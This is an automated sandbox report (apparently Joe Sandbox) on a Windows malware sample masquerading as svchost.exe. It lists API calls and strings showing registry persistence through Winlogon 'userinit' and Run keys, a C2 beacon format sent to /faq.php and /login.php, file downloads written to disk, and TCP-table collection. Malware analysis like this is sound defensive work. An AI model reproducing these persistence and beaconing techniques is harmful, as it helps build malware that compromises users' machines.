GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C741B2
HeapFree.KERNEL32(00000000), ref: 02C741B5
GetProcessHeap.KERNEL32(00000008,00000C13), ref: 02C741CD
HeapAlloc.KERNEL32(00000000), ref: 02C741D0
memset.MSVCRT ref: 02C741E0
GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 02C741FA
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C74207
HeapValidate.KERNEL32(00000000), ref: 02C7420A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C7421B
HeapFree.KERNEL32(00000000), ref: 02C7421E
GetProcessHeap.KERNEL32(00000008,-00000083), ref: 02C74249
HeapAlloc.KERNEL32(00000000), ref: 02C7424C
memset.MSVCRT ref: 02C74263
htons.WS2_32(?), ref: 02C742D9
htons.WS2_32(?), ref: 02C742EC
_snprintf.MSVCRT ref: 02C74307
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C74313
HeapValidate.KERNEL32(00000000), ref: 02C74316
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C74323
HeapFree.KERNEL32(00000000), ref: 02C74326
GetProcessHeap.KERNEL32(00000000,00000000,00000000,?), ref: 02C74332
HeapValidate.KERNEL32(00000000), ref: 02C74335
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C74342
HeapFree.KERNEL32(00000000), ref: 02C74345
WriteFile.KERNEL32(00000C00,00000000,00000001,?,00000000), ref: 02C743A2
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C743AB
HeapValidate.KERNEL32(00000000), ref: 02C743AE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C743BB
HeapFree.KERNEL32(00000000), ref: 02C743BE

Strings

SYN_SENT, xrefs: 02C7413F
netstat{ProtoLocal addressRemote addressState, xrefs: 02C74268
DELETE_TCB, xrefs: 02C7417E
SYN_RCVD, xrefs: 02C74146
LAST_ACK, xrefs: 02C74170
CLOSING, xrefs: 02C74169
ESTAB, xrefs: 02C7414D
CLOSE_WAIT, xrefs: 02C74162
TCP%s:%d%s:%d%s, xrefs: 02C74300
FIN_WAIT1, xrefs: 02C74154
CLOSED, xrefs: 02C74131
TIME_WAIT, xrefs: 02C74177
FIN_WAIT2, xrefs: 02C7415B
LISTEN, xrefs: 02C74138

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeValidate$Allocmemset$Tablehtons$FileWrite_snprintf
String ID: CLOSED$CLOSE_WAIT$CLOSING$DELETE_TCB$ESTAB$FIN_WAIT1$FIN_WAIT2$LAST_ACK$LISTEN$SYN_RCVD$SYN_SENT$TCP%s:%d%s:%d%s$TIME_WAIT$netstat{ProtoLocal addressRemote addressState
API String ID: 3573621883-2402783461
Opcode ID: cdf18205eaf4d770cafe0dd934a66c4fea390b45350f0fdebda89808dd7fe703
Instruction ID: 6fd2147aa34d27987b0607b3265e8337516b80a64b11be02324dc0ca9855ac84
Opcode Fuzzy Hash: cdf18205eaf4d770cafe0dd934a66c4fea390b45350f0fdebda89808dd7fe703
Instruction Fuzzy Hash: 9D91C7B1E40289ABDB259FA5EC88FAF7F78EF85705F144594E508E7281DB30D504CB61

Function 02C83620 Relevance: 72.1, APIs: 33, Strings: 8, Instructions: 311
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 02C83655
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),02C76406,00000000,00000000,04000000), ref: 02C836E1
InternetConnectA.WININET(00000000,00000000,00000050,00000000,00000000,00000003,00000000,00000001), ref: 02C836FF
HttpOpenRequestA.WININET(00000000,GET,?,HTTP/1.0,00000000,00000000,00000000,00000001), ref: 02C83731
HttpAddRequestHeadersA.WININET(00000000,Content-Type: application/x-www-form-urlencoded,000000FF,20000000), ref: 02C83762
HttpAddRequestHeadersA.WININET(00000000,Referer: http://www.google.com,000000FF,20000000), ref: 02C83771
_snprintf.MSVCRT ref: 02C8378E
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,20000000), ref: 02C837A6
HttpSendRequestA.WININET(00000000,00000000,00000000,00000004,00000000), ref: 02C837B3
HttpQueryInfoA.WININET(00000000,20000013,02C76406,00000004,02C76406), ref: 02C837D3
CreateFileA.KERNEL32(02C76406,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02C83809
GetProcessHeap.KERNEL32(00000008,00001010), ref: 02C83827
HeapAlloc.KERNEL32(00000000), ref: 02C8382A
memset.MSVCRT ref: 02C83842
InternetReadFile.WININET(?,00000000,00001000,00000001), ref: 02C8385F
WriteFile.KERNEL32(00000000,00000000,00000000,00000001,00000000), ref: 02C83880
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83889
HeapValidate.KERNEL32(00000000), ref: 02C8388C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83899
HeapFree.KERNEL32(00000000), ref: 02C8389C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C838AA
HeapValidate.KERNEL32(00000000), ref: 02C838AD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C838BA
HeapFree.KERNEL32(00000000), ref: 02C838BD
GetHandleInformation.KERNEL32(00000000,00000001), ref: 02C838D3
CloseHandle.KERNEL32(00000000), ref: 02C838E4

Strings

POST, xrefs: 02C8371C, 02C8372F
GET, xrefs: 02C83712
Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02C836DC
Content-Type: multipart/form-data; boundary=---------------------------%s, xrefs: 02C8377D
Content-Type: application/x-www-form-urlencoded, xrefs: 02C8375C
Referer: http://www.google.com, xrefs: 02C8376B
HTTP/1.0, xrefs: 02C83729
6b8e26743fcf62a2, xrefs: 02C83778

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Http$ProcessRequest$FileHeadersInternet$FreeHandleOpenValidatememset$AllocCloseConnectCreateInfoInformationQueryReadSendWrite_snprintf
String ID: 6b8e26743fcf62a2$Content-Type: application/x-www-form-urlencoded$Content-Type: multipart/form-data; boundary=---------------------------%s$GET$HTTP/1.0$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)$POST$Referer: http://www.google.com
API String ID: 1431876097-4291293516
Opcode ID: abc092fa1e433f2f3166341539d231279637e4fbd7829c8ee8133a39af11538f
Instruction ID: 5504d569ebac3d570b88e2c87a30457f6a10eee0940acfc8c6b47d78dcfd1f48
Opcode Fuzzy Hash: abc092fa1e433f2f3166341539d231279637e4fbd7829c8ee8133a39af11538f
Instruction Fuzzy Hash: ACA1EB71A402987BEB11AF64DC89FEF776CEF88B19F0046A9F905E7180D7709A14CB61

Function 02C868B0 Relevance: 51.0, APIs: 24, Strings: 5, Instructions: 244
registrymemorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.SHLWAPI(C:\Windows\apppatch\svchost.exe), ref: 02C868DE
RegOpenKeyExA.KERNEL32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000103,?), ref: 02C86907
RegQueryValueExA.KERNEL32(?,userinit,00000000,00000000,00000000,00000000), ref: 02C86927
GetProcessHeap.KERNEL32(00000008,-00000010), ref: 02C86944
HeapAlloc.KERNEL32(00000000), ref: 02C8694B
memset.MSVCRT ref: 02C8695F
RegQueryValueExA.KERNEL32(?,userinit,00000000,00000000,00000000,00000000), ref: 02C86979
StrStrIA.SHLWAPI(00000000,C:\Windows\apppatch\svchost.exe), ref: 02C86981
RegSetValueExA.KERNEL32(?,userinit,00000000,00000001,00000000,00000002), ref: 02C86A20
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C86A2F
HeapValidate.KERNEL32(00000000), ref: 02C86A32
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C86A3F
HeapFree.KERNEL32(00000000), ref: 02C86A42
RegFlushKey.ADVAPI32(?), ref: 02C86A4C
RegOpenKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,000F013F,?), ref: 02C86A6D
RegSetValueExA.ADVAPI32(?,userinit,00000000,00000001,C:\Windows\apppatch\svchost.exe,C:\Windows\apppatch\svchost.exe), ref: 02C86A9D
RegFlushKey.ADVAPI32(?), ref: 02C86AA7
RegCloseKey.KERNEL32(?), ref: 02C86AB1
IsUserAnAdmin.SHELL32 ref: 02C86AB7
RegOpenKeyExA.KERNEL32(80000001,software\microsoft\windows\currentversion\run,00000000,00000101,?), ref: 02C86AED
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02C86AFC
RegNotifyChangeKeyValue.KERNEL32(?,00000000,0000000F,00000000,00000001), ref: 02C86B19
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C86B24
RegNotifyChangeKeyValue.ADVAPI32(?,00000000,0000000F,00000000,00000001), ref: 02C86B47

Strings

software\microsoft\windows\currentversion\run, xrefs: 02C86A63, 02C86AE3
software\microsoft\windows nt\currentversion\winlogon, xrefs: 02C868FD, 02C86ACC
userinit, xrefs: 02C86921, 02C86973, 02C86A1A, 02C86A97
,, xrefs: 02C8699F
C:\Windows\apppatch\svchost.exe, xrefs: 02C868B6, 02C868D9, 02C8697B, 02C869C1, 02C86A73, 02C86A8A, 02C86A8E, 02C86B32

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HeapValue$OpenProcess$ChangeFlushNotifyQuery$AdminAllocCloseCreateEventExistsFileFreeObjectPathSingleUserValidateWaitmemset
String ID: ,$C:\Windows\apppatch\svchost.exe$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
API String ID: 2213373080-1283825033
Opcode ID: bf019f43bef0af59052552b5b09ef3271221621f387e42b16880c8e3a12a44c3
Instruction ID: 8822c7c67e2016f5214d1eb9464f0d1547cdcdbd9c47378666bae36805e27dd0
Opcode Fuzzy Hash: bf019f43bef0af59052552b5b09ef3271221621f387e42b16880c8e3a12a44c3
Instruction Fuzzy Hash: C071D971E84245BBEB119B649C49FBBB76CDF84708F208694F941BB280DBB1DA05C7A0

Function 02C75C80 Relevance: 49.2, APIs: 25, Strings: 3, Instructions: 248
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 02C75CA0

Part of subcall function 02C839C0: memset.MSVCRT ref: 02C839F2
Part of subcall function 02C839C0: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),00000000,00000000,00000000,04000000), ref: 02C83A7E
Part of subcall function 02C839C0: InternetConnectA.WININET(00000000,00000000,00000050,00000000,00000000,00000003,00000000,00000001), ref: 02C83A9F
Part of subcall function 02C839C0: HttpOpenRequestA.WININET(00000000,GET,00000000,HTTP/1.0,00000000,00000000,00000000,00000001), ref: 02C83AD5

calloc.MSVCRT ref: 02C75CE7
exit.MSVCRT ref: 02C75CF6
calloc.MSVCRT ref: 02C75CFF
exit.MSVCRT ref: 02C75D09
calloc.MSVCRT ref: 02C75D27
exit.MSVCRT ref: 02C75D33
calloc.MSVCRT ref: 02C75D3C
exit.MSVCRT ref: 02C75D46
calloc.MSVCRT ref: 02C75D64
exit.MSVCRT ref: 02C75D71
calloc.MSVCRT ref: 02C75D7B
exit.MSVCRT ref: 02C75D86
calloc.MSVCRT ref: 02C75DA9
exit.MSVCRT ref: 02C75DB6
calloc.MSVCRT ref: 02C75DC0
exit.MSVCRT ref: 02C75DCF
_strrev.MSVCRT ref: 02C75E39
GetProcessHeap.KERNEL32(00000000,00000000,?,?,02C76406,?), ref: 02C75EFC
HeapValidate.KERNEL32(00000000), ref: 02C75EFF
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C75F0C
HeapFree.KERNEL32(00000000), ref: 02C75F0F
PathFileExistsA.SHLWAPI(02C76406,02C76406,/login.php,02C76406,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 02C75F1A
SetFileAttributesA.KERNEL32(02C76406,00000000,?,00000000,00000000), ref: 02C75F2B
DeleteFileA.KERNEL32(02C76406,?,00000000,00000000), ref: 02C75F32

Part of subcall function 02C76570: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C76596
Part of subcall function 02C76570: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765B7
Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765DD
Part of subcall function 02C76570: RtlAllocateHeap.NTDLL(00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765E4
Part of subcall function 02C76570: memset.MSVCRT ref: 02C765F4
Part of subcall function 02C76570: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76616
Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76622
Part of subcall function 02C76570: HeapValidate.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76629
Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76636
Part of subcall function 02C76570: HeapFree.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C7663D
Part of subcall function 02C76570: GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C7665D
Part of subcall function 02C76570: CloseHandle.KERNEL32(00000000), ref: 02C7666E
Part of subcall function 02C76570: IsBadWritePtr.KERNEL32(?,00000004), ref: 02C7667E

Strings

/login.php, xrefs: 02C75CB1
6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9, xrefs: 02C75DDD
10001, xrefs: 02C75DFA

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$callocexit$File$Process$memset$FreeHandleInternetOpenValidate$AllocateAttributesCloseConnectCreateDeleteExistsHttpInformationPathReadRequestSizeWrite_strrev
String ID: /login.php$10001$6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9
API String ID: 550513112-2761129557
Opcode ID: 2a7eddcdeb8045a698a5e8522566253d47138d8247603723de7eecf209b64428
Instruction ID: 0232dead3d0be3a74cf210bb2837edbe1b3ac61b181474ee5f9503a028576102
Opcode Fuzzy Hash: 2a7eddcdeb8045a698a5e8522566253d47138d8247603723de7eecf209b64428
Instruction Fuzzy Hash: 76813870E402A5AFEB229F648C84BAFBFB8EF41344F044559ED45A7281D7B5DA04CBE1

Function 02C85590 Relevance: 49.2, APIs: 25, Strings: 3, Instructions: 242
memorysleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 02C855B1
GetProcessHeap.KERNEL32(00000008,-000000F0,?,00000000), ref: 02C855E7
HeapAlloc.KERNEL32(00000000,?,00000000), ref: 02C855EE
memset.MSVCRT ref: 02C85603
GetTimeZoneInformation.KERNEL32(00000000,?,?,00000000), ref: 02C85612
Sleep.KERNEL32(000001F4), ref: 02C85626
IsUserAnAdmin.SHELL32 ref: 02C8564C
GetTickCount.KERNEL32 ref: 02C8568A
_snprintf.MSVCRT ref: 02C856C6
GetTempPathA.KERNEL32(00000104,?), ref: 02C856DB
GetTempFileNameA.KERNEL32(?,00000000,00000000,?), ref: 02C856F3
SetFileAttributesA.KERNEL32(?,00000000), ref: 02C85702
DeleteFileA.KERNEL32(?), ref: 02C8570F
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C85771
HeapValidate.KERNEL32(00000000), ref: 02C85778
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C85785
HeapFree.KERNEL32(00000000), ref: 02C8578C
GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000001,00000000,/faq.php,?,00000001,?,02CB7A90,00000001,00000000), ref: 02C857DE
HeapValidate.KERNEL32(00000000), ref: 02C857E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C857EE
HeapFree.KERNEL32(00000000), ref: 02C857F1
SetFileAttributesA.KERNEL32(?,00000000,00000000,00000001,00000000,/faq.php,?,00000001,?,02CB7A90,00000001,00000000), ref: 02C85800
DeleteFileA.KERNEL32(?), ref: 02C8580D
Sleep.KERNEL32(?,00000000,/faq.php,?,00000001,?,02CB7A8C,00000001,00000000), ref: 02C85851

Part of subcall function 02C83D90: IsNetworkAlive.SENSAPI(02C763DD,00000000), ref: 02C83DA3
Part of subcall function 02C83D90: IsUserAnAdmin.SHELL32 ref: 02C83DB1
Part of subcall function 02C83D90: DnsFlushResolverCache.DNSAPI ref: 02C83DBB
Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83DD8
Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,00000000), ref: 02C83DF7
Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02C83E10
Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E23
Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83E3C
Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,00000000), ref: 02C83E55
Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02C83E68
Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E75

Sleep.KERNEL32(00000000,00000000,/faq.php,?,00000001,?,02CB7A8C,00000001,00000000), ref: 02C85873

Strings

id=%s&ver=4.0.1&up=%u&os=%03u&rights=%s&ltime=%s%d&token=%d, xrefs: 02C856BF
%2b, xrefs: 02C8563C
/faq.php, xrefs: 02C857AC

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$FileProcess$memset$Sleep$AdminAttributesCheckConnectionDeleteFreeInternetTempUserValidatelstrcpyn$AliveAllocCacheCountFlushInformationNameNetworkPathResolverTickTimeZone_snprintf
String ID: %2b$/faq.php$id=%s&ver=4.0.1&up=%u&os=%03u&rights=%s&ltime=%s%d&token=%d
API String ID: 3187169398-2843672900
Opcode ID: 020d4efbb3589629bfb2aaeb109eeff45a10eb232319a4c6d9e61087756a5358
Instruction ID: 8833a8bceabfceadb4c51c836d4e23b1a1e0e2c7b996f887b9cde1ca41dd3caf
Opcode Fuzzy Hash: 020d4efbb3589629bfb2aaeb109eeff45a10eb232319a4c6d9e61087756a5358
Instruction Fuzzy Hash: D8812A72E80255ABDB25AB749C48FEA7B69EF84344F45C6D0E905D72C0EB70DA04CBA1

Function 02C83A35 Relevance: 47.4, APIs: 19, Strings: 8, Instructions: 174
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),00000000,00000000,00000000,04000000), ref: 02C83A7E
InternetConnectA.WININET(00000000,00000000,00000050,00000000,00000000,00000003,00000000,00000001), ref: 02C83A9F
HttpOpenRequestA.WININET(00000000,GET,00000000,HTTP/1.0,00000000,00000000,00000000,00000001), ref: 02C83AD5
HttpAddRequestHeadersA.WININET(00000000,Content-Type: application/x-www-form-urlencoded,000000FF,20000000), ref: 02C83B0B
HttpAddRequestHeadersA.WININET(00000000,Referer: http://www.google.com,000000FF,20000000), ref: 02C83B1A
_snprintf.MSVCRT ref: 02C83B38
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,20000000), ref: 02C83B50
HttpSendRequestA.WININET(00000000,00000000,00000000,02C76406,?), ref: 02C83B5F
HttpQueryInfoA.WININET(00000000,20000013,00000000,00000004,?), ref: 02C83B7F
CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02C83BB3
GetProcessHeap.KERNEL32(00000008,00001010), ref: 02C83BD7
RtlAllocateHeap.NTDLL(00000000), ref: 02C83BDA
memset.MSVCRT ref: 02C83BF2
InternetReadFile.WININET(00000000,00000000,00001000,00000000), ref: 02C83C0F
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02C83C30
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C39
HeapValidate.KERNEL32(00000000), ref: 02C83C3C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C49
HeapFree.KERNEL32(00000000), ref: 02C83C4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C5A
HeapValidate.KERNEL32(00000000), ref: 02C83C5D
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83C6A
HeapFree.KERNEL32(00000000), ref: 02C83C6D
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C83C83
CloseHandle.KERNEL32(00000000), ref: 02C83C94
GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02C83D10
HeapValidate.KERNEL32(00000000), ref: 02C83D13
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83D20
HeapFree.KERNEL32(00000000), ref: 02C83D23
InternetCloseHandle.WININET(00000000), ref: 02C83D2D
InternetCloseHandle.WININET(00000000), ref: 02C83D3A
InternetCloseHandle.WININET(00000000), ref: 02C83D44

Strings

POST, xrefs: 02C83ABD, 02C83AD3
GET, xrefs: 02C83AB6
Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02C83A79
Content-Type: multipart/form-data; boundary=---------------------------%s, xrefs: 02C83B27
Content-Type: application/x-www-form-urlencoded, xrefs: 02C83B05
Referer: http://www.google.com, xrefs: 02C83B14
HTTP/1.0, xrefs: 02C83ACD
6b8e26743fcf62a2, xrefs: 02C83B22

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$HttpInternet$HandleRequest$Close$FileFreeHeadersValidate$Open$AllocateConnectCreateInfoInformationQueryReadSendWrite_snprintfmemset
String ID: 6b8e26743fcf62a2$Content-Type: application/x-www-form-urlencoded$Content-Type: multipart/form-data; boundary=---------------------------%s$GET$HTTP/1.0$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)$POST$Referer: http://www.google.com
API String ID: 4276495747-4291293516
Opcode ID: 51e6f5eccb3457e7495455a5e4831cf5c557961665de695fa89b0146f4495580
Instruction ID: 03b87ba596479fec21a927c15e461ff520d988b86805412e4964db04f359d503
Opcode Fuzzy Hash: 51e6f5eccb3457e7495455a5e4831cf5c557961665de695fa89b0146f4495580
Instruction Fuzzy Hash: 8951B771A802847BEB219F50CC49FEB7B68EF84B18F104698FA05B71C0D7B0AA55CB65

Function 02C83695 Relevance: 47.4, APIs: 19, Strings: 8, Instructions: 173
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),02C76406,00000000,00000000,04000000), ref: 02C836E1
InternetConnectA.WININET(00000000,00000000,00000050,00000000,00000000,00000003,00000000,00000001), ref: 02C836FF
HttpOpenRequestA.WININET(00000000,GET,?,HTTP/1.0,00000000,00000000,00000000,00000001), ref: 02C83731
HttpAddRequestHeadersA.WININET(00000000,Content-Type: application/x-www-form-urlencoded,000000FF,20000000), ref: 02C83762
HttpAddRequestHeadersA.WININET(00000000,Referer: http://www.google.com,000000FF,20000000), ref: 02C83771
_snprintf.MSVCRT ref: 02C8378E
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,20000000), ref: 02C837A6
HttpSendRequestA.WININET(00000000,00000000,00000000,00000004,00000000), ref: 02C837B3
HttpQueryInfoA.WININET(00000000,20000013,02C76406,00000004,02C76406), ref: 02C837D3
CreateFileA.KERNEL32(02C76406,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02C83809
GetProcessHeap.KERNEL32(00000008,00001010), ref: 02C83827
HeapAlloc.KERNEL32(00000000), ref: 02C8382A
memset.MSVCRT ref: 02C83842
InternetReadFile.WININET(?,00000000,00001000,00000001), ref: 02C8385F
WriteFile.KERNEL32(00000000,00000000,00000000,00000001,00000000), ref: 02C83880
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83889
HeapValidate.KERNEL32(00000000), ref: 02C8388C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83899
HeapFree.KERNEL32(00000000), ref: 02C8389C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C838AA
HeapValidate.KERNEL32(00000000), ref: 02C838AD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C838BA
HeapFree.KERNEL32(00000000), ref: 02C838BD
GetHandleInformation.KERNEL32(00000000,00000001), ref: 02C838D3
CloseHandle.KERNEL32(00000000), ref: 02C838E4
GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 02C8395F
HeapValidate.KERNEL32(00000000), ref: 02C83962
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C8396F
HeapFree.KERNEL32(00000000), ref: 02C83972
InternetCloseHandle.WININET(00000000), ref: 02C8397C
InternetCloseHandle.WININET(00000000), ref: 02C83986
InternetCloseHandle.WININET(00000000), ref: 02C83990

Strings

POST, xrefs: 02C8371C, 02C8372F
GET, xrefs: 02C83712
Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02C836DC
Content-Type: multipart/form-data; boundary=---------------------------%s, xrefs: 02C8377D
Content-Type: application/x-www-form-urlencoded, xrefs: 02C8375C
Referer: http://www.google.com, xrefs: 02C8376B
HTTP/1.0, xrefs: 02C83729
6b8e26743fcf62a2, xrefs: 02C83778

